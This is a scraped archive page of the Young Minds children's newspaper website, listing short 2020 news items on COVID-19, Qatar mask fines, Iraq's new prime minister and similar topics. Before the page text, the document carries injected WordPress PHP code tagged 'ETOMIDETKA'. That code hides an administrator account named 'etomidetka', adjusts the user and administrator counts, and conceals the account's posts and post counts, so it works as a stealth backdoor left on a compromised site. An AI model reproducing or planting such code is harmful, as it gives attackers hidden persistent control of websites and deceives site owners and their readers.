//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 21

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 21)
Qatar to fine up to ₹41 lakh for not wearing masks

Qatar to fine up to ₹41 lakh for not wearing masks

Qatar’s Interior Ministry has announced that wearing masks will be mandatory to go outside starting from Sunday, and those who don’t comply will be fined …

May 22, 2020 | Main News
WHO to launch a COVID-19 app

WHO to launch a COVID-19 app

WHO has planned to launch a COVID-19 app this month to help people assess their symptoms. . WHO will release a version of the app on app stores globally and …

May 16, 2020 | Main News
Former intelligence chief sworn-in as Iraq PM

Former intelligence chief sworn-in as Iraq PM

Former Iraqi intelligence chief Mustafa al-Kadhimi has been sworn as prime minister of the country by lawmakers amid an economic crisis due to falling oil …

May 8, 2020 | Main News
Bezos becomes twice as rich as Mark Zuckerberg

Bezos becomes twice as rich as Mark Zuckerberg

Amazon Founder and the world’s richest person Jeff Bezos has now become twice as rich as Facebook CEO Mark Zuckerberg, the world’s fifth richest person. …

May 2, 2020 | Main News
Greta Thunberg donates ₹75 lakh to UNICEF

Greta Thunberg donates ₹75 lakh to UNICEF

Climate activist Greta Thunberg has donated ₹75 lakh prize money she received from Danish NGO Human Act to the United Nations Children’s Fund (UNICEF) for …

May 2, 2020 | Main News
Four Indian-Americans in Trump’s team to revive US economy

Four Indian-Americans in Trump’s team to revive US economy

US President Donald Trump has named six Indian-American corporate leaders, including Google CEO Sundar Pichai and Microsoft CEO Satya Nadella to his Great …

April 25, 2020 | Main News
Reliance Industries & Facebook working on a multi-functional app

Reliance Industries & Facebook working on a multi-functional app

Facebook and Reliance Industries are working on a multi-functional app that will facilitate digital payments, social media, gaming along with flight and hotel …

April 25, 2020 | Main News
India sends 15-member medical team to Kuwait to fight COVID-19

India sends 15-member medical team to Kuwait to fight COVID-19

A team of 15 Indian doctors and healthcare workers has arrived in Kuwait and will be staying there for two weeks to provide medical assistance in testing and …

April 17, 2020 | Main News
Act against China for spreading COVID-19: Int’l Court of Jurists to UNHRC

Act against China for spreading COVID-19: Int’l Court of Jurists to UNHRC

The International Court of Jurists has urged the United Nations Human Rights Council to make China pay “exemplary damages” for committing “grave offences …

April 10, 2020 | Main News
NASA spots an elusive giant black hole 50,000 times the mass of the Sun

NASA spots an elusive giant black hole 50,000 times the mass of the Sun

An elusive mid-sized black hole that was tearing apart a wayward star has been spotted by astronomers using the Hubble Space Telescope. A team of astronomers …

April 10, 2020 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds